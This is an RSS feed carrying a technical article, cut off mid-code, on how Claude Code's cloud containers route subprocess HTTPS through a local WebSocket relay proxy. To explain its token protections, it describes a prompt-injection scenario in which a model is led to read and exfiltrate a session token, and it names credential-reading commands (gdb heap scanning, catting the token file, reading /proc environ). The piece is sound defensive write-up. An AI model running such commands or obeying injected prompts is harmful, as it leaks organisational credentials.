<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Laurent DeSegur</title>
    <description>The latest articles on DEV Community by Laurent DeSegur (@oldeucryptoboi).</description>
    <link>https://dev.to/oldeucryptoboi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3808673%2F54eff9e3-a1f0-4316-9d72-ef845fb3c591.jpg</url>
      <title>DEV Community: Laurent DeSegur</title>
      <link>https://dev.to/oldeucryptoboi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/oldeucryptoboi"/>
    <language>en</language>
    <item>
      <title>The Upstream Proxy: How Claude Code Intercepts Subprocess HTTP Traffic</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Thu, 09 Apr 2026 01:18:40 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/the-upstream-proxy-how-claude-code-intercepts-subprocess-http-traffic-1eeg</link>
      <guid>https://dev.to/oldeucryptoboi/the-upstream-proxy-how-claude-code-intercepts-subprocess-http-traffic-1eeg</guid>
      <description>&lt;p&gt;When Claude Code runs in a cloud container, every subprocess it spawns — &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;gh&lt;/code&gt;, &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;kubectl&lt;/code&gt; — needs to reach external services. But the container sits behind an organization's security perimeter. The org needs to inject credentials (API keys, auth headers) into outbound HTTPS requests, log traffic for compliance, and block unauthorized endpoints. The subprocess doesn't know any of this. It just wants to &lt;code&gt;curl https://api.datadog.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The naive solution: configure a corporate proxy and trust that every tool respects &lt;code&gt;HTTPS_PROXY&lt;/code&gt;. But that only works if the tool trusts the proxy's TLS certificate. A corporate proxy that inspects HTTPS traffic presents its own certificate — a man-in-the-middle certificate that &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;python&lt;/code&gt; will reject unless they trust the issuing CA. Every runtime has its own CA trust store: Node uses &lt;code&gt;NODE_EXTRA_CA_CERTS&lt;/code&gt;, Python uses &lt;code&gt;REQUESTS_CA_BUNDLE&lt;/code&gt; or &lt;code&gt;SSL_CERT_FILE&lt;/code&gt;, curl uses &lt;code&gt;CURL_CA_BUNDLE&lt;/code&gt;, Go uses the system store. Miss one and the subprocess fails with &lt;code&gt;CERTIFICATE_VERIFY_FAILED&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And there's a deeper problem. The container's ingress is a GKE L7 load balancer with path-prefix routing. It doesn't support raw HTTP CONNECT tunnels — the standard way proxies handle HTTPS. You can't just point &lt;code&gt;HTTPS_PROXY&lt;/code&gt; at the ingress and expect CONNECT to work. The infrastructure needs a different transport.&lt;/p&gt;

&lt;p&gt;Claude Code solves this with an &lt;strong&gt;upstream proxy relay&lt;/strong&gt;: a local TCP server that accepts standard HTTP CONNECT requests from subprocesses, tunnels the bytes over WebSocket to the cloud gateway, and lets the gateway handle TLS interception and credential injection. The relay runs inside the container, bound to localhost, invisible to the agent. Subprocesses see a standard HTTPS proxy at &lt;code&gt;127.0.0.1:&amp;lt;port&amp;gt;&lt;/code&gt; and a CA bundle that trusts both the system CAs and the gateway's MITM certificate.&lt;/p&gt;

&lt;p&gt;This article traces every layer: the initialization sequence, the token lifecycle, the anti-ptrace defense, the CA certificate chain, the CONNECT-over-WebSocket protocol, the protobuf wire format, the NO_PROXY bypass list, and the subprocess environment injection that ties it all together.&lt;/p&gt;




&lt;h2&gt;
  
  
  When Does This Activate?
&lt;/h2&gt;

&lt;p&gt;The upstream proxy is a CCR (Cloud Code Runtime) feature. It only activates when three conditions are met:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;initUpstreamProxy&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Gate&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Are&lt;/span&gt; &lt;span class="nx"&gt;we&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;cloud&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_REMOTE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Gate&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Has&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="nx"&gt;enabled&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CCR_UPSTREAM_PROXY_ENABLED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Gate&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Do&lt;/span&gt; &lt;span class="nx"&gt;we&lt;/span&gt; &lt;span class="nx"&gt;have&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_REMOTE_SESSION_ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Gate&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Is&lt;/span&gt; &lt;span class="nx"&gt;there&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="nx"&gt;disk&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;
    &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;readFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/run/ccr/session_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;All&lt;/span&gt; &lt;span class="nx"&gt;gates&lt;/span&gt; &lt;span class="nx"&gt;passed&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nx"&gt;proceed&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;initialization&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;CCR_UPSTREAM_PROXY_ENABLED&lt;/code&gt; flag is evaluated server-side, where the feature flag system has warm caches. The container gets a fresh environment with no cached flags, so a client-side check would always return the default (false). The server makes the decision and injects the result into the container's environment.&lt;/p&gt;

&lt;p&gt;Every subsequent step fails open: if anything goes wrong — CA download fails, relay can't bind, WebSocket connection breaks — the proxy is disabled and the session continues without it. A broken proxy setup must never break an otherwise-working session.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Token Lifecycle
&lt;/h2&gt;

&lt;p&gt;The session token authenticates the relay to the cloud gateway. Its lifecycle is designed around a single threat: &lt;strong&gt;prompt injection leading to token exfiltration&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The attack scenario: Claude Code runs user-provided code. A malicious prompt tricks the model into executing a shell command that reads the token and sends it to an attacker-controlled server. With the token, the attacker can impersonate the session and access the organization's internal services through the proxy.&lt;/p&gt;

&lt;p&gt;The defense is a four-step sequence:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Read the Token
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;readFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/run/ccr/session_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The CCR orchestrator writes the token to a tmpfs mount at container startup. It's readable by the process user and exists only in memory-backed storage — never on a persistent disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Block ptrace
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;setNonDumpable&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;platform&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;linux&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;  &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="nx"&gt;Linux&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;prctl&lt;/span&gt;

    &lt;span class="nx"&gt;lib&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;libc.so.6&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;PR_SET_DUMPABLE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nx"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prctl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PR_SET_DUMPABLE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the critical security step. &lt;code&gt;prctl(PR_SET_DUMPABLE, 0)&lt;/code&gt; tells the Linux kernel that this process cannot be ptrace'd by any process running as the same UID. Without this, a prompt-injected command like &lt;code&gt;gdb -p $PPID -batch -ex 'find ...'&lt;/code&gt; could attach to the Claude Code process, scan its heap, and extract the token from memory.&lt;/p&gt;

&lt;p&gt;The call uses Bun's FFI (Foreign Function Interface) to directly invoke &lt;code&gt;prctl&lt;/code&gt; from libc. It runs on Linux only; on other platforms it silently no-ops. If the FFI call itself fails (wrong libc path, missing symbol), it logs a warning and continues — fail-open, because blocking the entire session over a defense-in-depth measure would be wrong.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Start the Relay
&lt;/h3&gt;

&lt;p&gt;The relay binds to localhost and begins accepting CONNECT requests. Only after the relay is confirmed listening does step 4 proceed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Unlink the Token File
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;unlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/run/ccr/session_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Token&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="nx"&gt;heap&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;gone&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The token file is deleted from disk. The token now exists only in the process's heap memory, protected by &lt;code&gt;PR_SET_DUMPABLE&lt;/code&gt;. A subprocess can't &lt;code&gt;cat /run/ccr/session_token&lt;/code&gt; because the file no longer exists. It can't &lt;code&gt;gdb -p $PPID&lt;/code&gt; because ptrace is blocked.&lt;/p&gt;

&lt;p&gt;The ordering is deliberate: unlink happens AFTER the relay is confirmed up. If the CA download or relay startup fails, the token file remains on disk so a supervisor restart can retry the full initialization. Once the relay is running, the file is expendable.&lt;/p&gt;

&lt;p&gt;Why not just use environment variables? Because environment variables are readable by any subprocess via &lt;code&gt;/proc/$PPID/environ&lt;/code&gt;. The token would be trivially exfiltrable. The heap-only approach requires ptrace, which &lt;code&gt;PR_SET_DUMPABLE&lt;/code&gt; blocks.&lt;/p&gt;




&lt;h2&gt;
  
  
  The CA Certificate Chain
&lt;/h2&gt;

&lt;p&gt;The cloud gateway terminates TLS on behalf of the real upstream server and presents its own certificate. Subprocesses need to trust this certificate. The system downloads the gateway's CA certificate and creates a merged bundle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;downloadCaBundle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;systemCaPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;outPath&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Download&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;gateway&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s CA cert from the Anthropic API
    response = fetch(baseUrl + "/v1/code/upstreamproxy/ca-cert",
                     timeout: 5000)
    if response not ok:
        return false  # fail-open: proxy disabled

    gatewayCa = response.text()

    # Read the system&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="nx"&gt;existing&lt;/span&gt; &lt;span class="nx"&gt;CA&lt;/span&gt; &lt;span class="nx"&gt;bundle&lt;/span&gt;
    &lt;span class="nx"&gt;systemCa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;readFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/etc/ssl/certs/ca-certificates.crt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Concatenate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;system&lt;/span&gt; &lt;span class="nx"&gt;CAs&lt;/span&gt; &lt;span class="nx"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;gateway&lt;/span&gt; &lt;span class="nx"&gt;CA&lt;/span&gt; &lt;span class="nx"&gt;appended&lt;/span&gt;
    &lt;span class="nf"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outPath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;writeFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;systemCa&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;gatewayCa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;outPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;/.ccr/&lt;/span&gt;&lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;bundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crt&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The merged bundle goes to &lt;code&gt;~/.ccr/ca-bundle.crt&lt;/code&gt;. Subprocesses get this path via four environment variables, covering every major runtime's CA discovery mechanism:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Runtime&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SSL_CERT_FILE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;curl, OpenSSL-based tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NODE_EXTRA_CA_CERTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REQUESTS_CA_BUNDLE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Python requests/httpx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CURL_CA_BUNDLE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;curl (alternative)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The 5-second fetch timeout is deliberate. Bun has no default fetch timeout — without one, a hung CA endpoint would block CLI startup forever. 5 seconds is generous for a small PEM file.&lt;/p&gt;




&lt;h2&gt;
  
  
  The CONNECT-over-WebSocket Relay
&lt;/h2&gt;

&lt;p&gt;The relay is the core of the system. It translates standard HTTP CONNECT requests into WebSocket tunnels that the cloud gateway can route.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why WebSocket?
&lt;/h3&gt;

&lt;p&gt;The CCR ingress is a GKE L7 load balancer with path-prefix routing. L7 load balancers inspect HTTP requests and route based on URL paths. HTTP CONNECT is a different protocol — it asks the proxy to establish a raw TCP tunnel, which L7 load balancers typically can't route. There's no &lt;code&gt;connect_matcher&lt;/code&gt; in the CDK constructs.&lt;/p&gt;

&lt;p&gt;WebSocket, however, is an HTTP upgrade — it starts as a normal HTTP request (routable by L7) and then upgrades to a bidirectional binary channel. The session ingress tunnel already uses this pattern. The upstream proxy follows suit.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Protocol
&lt;/h3&gt;

&lt;p&gt;The relay listens on &lt;code&gt;127.0.0.1:0&lt;/code&gt; (ephemeral port) and handles each connection through a two-phase state machine:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 1: CONNECT Accumulation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;WebSocket&lt;/span&gt; &lt;span class="nx"&gt;exists&lt;/span&gt; &lt;span class="nx"&gt;yet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Accumulate&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="nx"&gt;until&lt;/span&gt; &lt;span class="nx"&gt;we&lt;/span&gt; &lt;span class="nx"&gt;see&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;full&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connectBuf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connectBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nx"&gt;headerEnd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connectBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;headerEnd&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Guard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt; &lt;span class="nx"&gt;exceeds&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="nc"&gt;KB &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;real&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connectBuf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8192&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HTTP/1.1 400 Bad Request&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Parse&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt;
        &lt;span class="nx"&gt;firstLine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connectBuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;headerEnd&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
